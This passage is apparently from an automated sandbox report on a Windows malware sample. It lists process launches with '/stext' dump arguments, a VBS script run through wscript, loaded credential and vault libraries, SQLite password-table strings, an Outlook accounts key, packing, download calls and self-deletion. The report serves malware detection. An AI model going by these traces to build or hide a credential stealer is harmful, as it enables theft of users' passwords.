                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422019110.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348861339.00000000027FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeVirustotal: Detection: 70%
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
                        Source: unknownProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe "C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\qxczkdlwbpxfphwlhdzbevcnbfmmhv"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\brikkvwyoxpsrokpqoucoiwwktwnigvpl"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\dtvcl"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\qxczkdlwbpxfphwlhdzbevcnbfmmhv"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\brikkvwyoxpsrokpqoucoiwwktwnigvpl"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe /stext "C:\Users\user\AppData\Local\Temp\dtvcl"Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: apphelp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: winmm.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: urlmon.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wininet.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: iertutil.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: srvcli.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: netutils.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: iphlpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: mswsock.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: dnsapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: rasadhlp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: fwpuclnt.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: winhttp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: winnsi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: propsys.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: edputil.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: policymanager.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: msvcp110_win.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wintypes.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: appresolver.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: bcp47langs.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: slc.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: sppc.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: version.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wininet.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: pstorec.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: vaultcli.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wintypes.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: dpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: pstorec.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: sspicli.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
                        Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile opened: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.cfgJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

                        Data Obfuscation

                        barindex
                        Detected unpacking (changes PE section rights)
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeUnpacked PE file: 3.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeUnpacked PE file: 4.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeUnpacked PE file: 5.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041BEEE LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BEEE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004560BF push ecx; ret 0_2_004560D2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00434206 push ecx; ret 0_2_00434219
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004569F0 push eax; ret 0_2_00456A0E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10002806 push ecx; ret 0_2_10002819
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044693D push ecx; ret 3_2_0044694D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044DB70 push eax; ret 3_2_0044DB84
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0044DB70 push eax; ret 3_2_0044DBAC
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00451D54 push eax; ret 3_2_00451D61
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0044B090 push eax; ret 4_2_0044B0A4
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_0044B090 push eax; ret 4_2_0044B0CC
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00451D34 push eax; ret 4_2_00451D41
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00444E71 push ecx; ret 4_2_00444E81
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00414060 push eax; ret 5_2_00414074
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00414060 push eax; ret 5_2_0041409C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00414039 push ecx; ret 5_2_00414049
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004164EB push 0000006Ah; retf 5_2_004165C4
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00416553 push 0000006Ah; retf 5_2_004165C4
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00416555 push 0000006Ah; retf 5_2_004165C4
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406128 ShellExecuteW,URLDownloadToFileW,0_2_00406128
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00419DBA OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,0_2_00419DBA

                        Hooking and other Techniques for Hiding and Protection

                        barindex
                        Deletes itself after installation
                        Source: C:\Windows\SysWOW64\wscript.exeFile deleted: c:\users\user\desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJump to behavior
